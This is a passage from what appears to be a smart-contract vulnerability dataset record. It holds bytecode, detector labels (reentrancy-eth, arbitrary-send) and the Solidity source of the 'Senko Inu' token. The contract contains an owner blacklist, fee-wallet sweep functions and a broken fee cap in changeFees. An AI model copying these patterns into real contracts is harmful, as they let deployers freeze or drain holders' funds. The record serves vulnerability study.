505af1158015610876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089a91906117ee565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ca816104eb565b6000806108df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094257600080fd5b505af1158015610956573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097b91906119c4565b5050600f805468056bc75e2d6310000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f457600080fd5b505af1158015610a08573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062e9190611990565b6000546001600160a01b03163314610a565760405162461bcd60e51b815260040161044c90611a44565b60008111610aa65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044c565b610ac46064610abe683635c9adc5dea000008461131d565b9061139c565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610bc25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610ce95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b60008111610d4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6000546001600160a01b03848116911614801590610d7757506000546001600160a01b03838116911614155b15610fd857600f54600160b81b900460ff1615610e5e576001600160a01b0383163014801590610db057506001600160a01b0382163014155b8015610dca5750600e546001600160a01b03848116911614155b8015610de45750600e546001600160a01b03838116911614155b15610e5e57600e546001600160a01b0316336001600160a01b03161480610e1e5750600f546001600160a01b0316336001600160a01b0316145b610e5e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044c565b601054811115610e6d57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eaf57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb857600080fd5b600f546001600160a01b038481169116148015610ee35750600e546001600160a01b03838116911614155b8015610f0857506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1d5750600f54600160b81b900460ff165b15610f6b576001600160a01b0382166000908152600b60205260409020544211610f4657600080fd5b610f5142603c611ae9565b6001600160a01b0383166000908152600b60205260409020555b6000610f76306104eb565b600f54909150600160a81b900460ff16158015610fa15750600f546001600160a01b03858116911614155b8015610fb65750600f54600160b01b900460ff165b15610fd657610fc481611178565b478015610fd457610fd44761106f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101a57506001600160a01b03831660009081526005602052604090205460ff165b15611023575060005b61102f848484846113de565b50505050565b600081848411156110595760405162461bcd60e51b815260040161044c91906119f1565b5060006110668486611b40565b95945050505050565b600c546001600160a01b03166108fc61108983600261139c565b6040518115909202916000818181858888f193505050501580156110b1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cc83600261139c565b6040518115909202916000818181858888f1935050505015801561062e573d6000803e3d6000fd5b600060065482111561115b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044c565b600061116561140a565b9050611171838261139c565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122257600080fd5b505afa158015611236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125a91906117ee565b8160018151811061127b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a19130911684610aff565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112da908590600090869030904290600401611a79565b600060405180830381600087803b1580156112f457600080fd5b505af1158015611308573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132c575060006103b3565b60006113388385611b21565b9050826113458583611b01565b146111715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b600061117183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142d565b806113eb576113eb61145b565b6113f684848461147e565b8061102f5761102f6000600855600f600955565b6000806000611417611575565b9092509050611426828261139c565b9250505090565b6000818361144e5760405162461bcd60e51b815260040161044c91906119f1565b5060006110668486611b01565b60085415801561146b5750600954155b1561147257565b60006008819055600955565b600080600080600080611490876115b7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c29087611614565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f19086611656565b6001600160a01b038916600090815260026020526040902055611513816116b5565b61151d84836116ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611591828261139c565b8210156115ae57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d48a600854600954611723565b92509250925060006115e461140a565b905060008060006115f78e878787611772565b919e509c509a509598509396509194505050505091939550919395565b600061117183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611035565b6000806116638385611ae9565b9050838110156111715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b60006116bf61140a565b905060006116cd838361131d565b306000908152600260205260409020549091506116ea9082611656565b30600090815260026020526040902055505050565b60065461170c9083611614565b60065560075461171c9082611656565b6007555050565b60008080806117376064610abe898961131d565b9050600061174a6064610abe8a8961131d565b905060006117628261175c8b86611614565b90611614565b9992985090965090945050505050565b6000808080611781888661131d565b9050600061178f888761131d565b9050600061179d888861131d565b905060006117af8261175c8686611614565b939b939a50919850919650505050505050565b80356117cd81611b9e565b919050565b6000602082840312156117e3578081fd5b813561117181611b9e565b6000602082840312156117ff578081fd5b815161117181611b9e565b6000806040838503121561181c578081fd5b823561182781611b9e565b9150602083013561183781611b9e565b809150509250929050565b600080600060608486031215611856578081fd5b833561186181611b9e565b9250602084013561187181611b9e565b929592945050506040919091013590565b60008060408385031215611894578182fd5b823561189f81611b9e565b946020939093013593505050565b600060208083850312156118bf578182fd5b823567ffffffffffffffff808211156118d6578384fd5b818501915085601f8301126118e9578384fd5b8135818111156118fb576118fb611b88565b8060051b604051601f19603f8301168101818110858211171561192057611920611b88565b604052828152858101935084860182860187018a101561193e578788fd5b8795505b8386101561196757611953816117c2565b855260019590950194938601938601611942565b5098975050505050505050565b600060208284031215611985578081fd5b813561117181611bb3565b6000602082840312156119a1578081fd5b815161117181611bb3565b6000602082840312156119bd578081fd5b5035919050565b6000806000606084860312156119d8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afc57611afc611b72565b500190565b600082611b1c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3b57611b3b611b72565b500290565b600082821015611b5257611b52611b72565b500390565b6000600019821415611b6b57611b6b611b72565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e857600080fd5b80151581146104e857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220452566fa3fbc80b8411059551cf4d1cb2b4f5155cdfd649899046d9ad86b050a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,248 |
0x4d01e783d35c214da190015d0aa3c1abb73b6360
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/SenkoInu
// https://senkoinu.xyz/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SenkoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private time;
uint256 private _tax;
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private fee1=80;
uint256 private fee2=80;
uint256 private liqfee=20;
uint256 private feeMax=100;
string private constant _name = "Senko Inu";
string private constant _symbol = "SENKO";
uint256 private _maxTxAmount = _tTotal.mul(2).div(100);
uint256 private minBalance = _tTotal.div(1000);
uint8 private constant _decimals = 9;
address payable private _feeAddrWallet1;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_feeAddrWallet1 = payable(msg.sender);
_tOwned[address(this)] = _tTotal.div(2);
_tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0),address(this),_tTotal.div(2));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external {
require(_msgSender() == _feeAddrWallet1);
require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum");
fee1 = _fee1;
fee2 = _fee2;
liqfee = _liq;
}
function changeMinBalance(uint256 newMin) external {
require(_msgSender() == _feeAddrWallet1);
minBalance = newMin;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_tax = fee1.add(liqfee);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tax = fee2.add(liqfee);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) {
require(block.timestamp > time,"Sells prohibited for the first 5 minutes");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > minBalance){
swapAndLiquify(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
_transferStandard(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapAndLiquify(uint256 tokenAmount) private {
uint256 half = liqfee.div(2);
uint256 part = fee2.add(half);
uint256 sum = fee2.add(liqfee);
uint256 swapTotal = tokenAmount.mul(part).div(sum);
swapTokensForEth(swapTotal);
addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1);
}
function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{
_approve(address(this),address(uniswapV2Router),tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
addLiquidity(balanceOf(address(this)),address(this).balance,owner());
swapEnabled = true;
tradingOpen = true;
time = block.timestamp + (5 minutes);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 transferAmount,uint256 tfee) = _getTValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tfee);
emit Transfer(sender, recipient, transferAmount);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapAndLiquify(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.mul(_tax).div(1000);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function recoverTokens(address tokenAddress) external {
require(_msgSender() == _feeAddrWallet1);
IERC20 recoveryToken = IERC20(tokenAddress);
recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this)));
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610384578063b515566a146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780637e37e9bb146103055780638da5cb5b1461032e57806395d89b41146103595761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780634ea18fab146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806316114acd1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906128fe565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906123ef565b610492565b60405161018391906128e3565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190612302565b6104b0565b005b3480156101c157600080fd5b506101ca610652565b6040516101d79190612a80565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061239c565b610663565b60405161021491906128e3565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612302565b61073c565b005b34801561025257600080fd5b5061025b61082c565b6040516102689190612af5565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906124a5565b610835565b005b3480156102a657600080fd5b506102af6108a0565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612302565b610912565b6040516102e59190612a80565b60405180910390f35b3480156102fa57600080fd5b5061030361095b565b005b34801561031157600080fd5b5061032c60048036038101906103279190612552565b610aae565b005b34801561033a57600080fd5b50610343610b9b565b604051610350919061283e565b60405180910390f35b34801561036557600080fd5b5061036e610bc4565b60405161037b91906128fe565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906123ef565b610c01565b6040516103b891906128e3565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e3919061242f565b610c1f565b005b3480156103f657600080fd5b506103ff610d49565b005b34801561040d57600080fd5b50610416610dc3565b005b34801561042457600080fd5b5061043f600480360381019061043a919061235c565b610f0e565b60405161044c9190612a80565b60405180910390f35b60606040518060400160405280600981526020017f53656e6b6f20496e750000000000000000000000000000000000000000000000815250905090565b60006104a661049f61105a565b8484611062565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f161105a565b73ffffffffffffffffffffffffffffffffffffffff161461051157600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161058e919061283e565b60206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de91906124d2565b6040518363ffffffff1660e01b81526004016105fb929190612859565b602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d9190612478565b505050565b6000683635c9adc5dea00000905090565b600061067084848461122d565b6107318461067c61105a565b61072c8560405180606001604052806028815260200161322060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e261105a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e69092919063ffffffff16565b611062565b600190509392505050565b61074461105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906129c0565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087661105a565b73ffffffffffffffffffffffffffffffffffffffff161461089657600080fd5b80600e8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e161105a565b73ffffffffffffffffffffffffffffffffffffffff161461090157600080fd5b600047905061090f8161194a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096361105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e7906129c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aef61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610b0f57600080fd5b600c548360ff1611158015610b295750600c548260ff1611155b8015610b395750600c54600b5411155b610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612a60565b60405180910390fd5b8260ff166009819055508160ff16600a819055508060ff16600b81905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f53454e4b4f000000000000000000000000000000000000000000000000000000815250905090565b6000610c15610c0e61105a565b848461122d565b6001905092915050565b610c2761105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906129c0565b60405180910390fd5b60005b8151811015610d4557600160056000848481518110610cd957610cd8612e73565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3d90612dcc565b915050610cb7565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610912565b9050610dc0816119b6565b50565b610dcb61105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906129c0565b60405180910390fd5b601160149054906101000a900460ff1615610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612a40565b60405180910390fd5b610ec2610eb430610912565b47610ebd610b9b565b611aa0565b6001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555061012c42610f069190612bb6565b600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415610fa8576000905061100a565b60008284610fb69190612c3d565b9050828482610fc59190612c0c565b14611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc906129a0565b60405180910390fd5b809150505b92915050565b600061105283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc4565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612960565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112209190612a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490612a00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490612940565b60405180910390fd5b60008111611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906129e0565b60405180910390fd5b611367600b54600954611c2790919063ffffffff16565b600881905550611375610b9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e357506113b3610b9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118d657600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561148c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61149557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115405750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115a3575060075442105b1561165357600d548111156115b757600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061160257600080fd5b601e4261160f9190612bb6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116fe5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117545750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561177757611770600b54600a54611c2790919063ffffffff16565b6008819055505b601160159054906101000a900460ff161580156117e25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117fa5750601160169054906101000a900460ff165b80156118505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d5576007544211611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189090612920565b60405180910390fd5b60006118a430610912565b9050600e548111156118d3576118b9816119b6565b600047905060008111156118d1576118d04761194a565b5b505b505b5b6118e1838383611c85565b505050565b600083831115829061192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192591906128fe565b60405180910390fd5b506000838561193d9190612c97565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff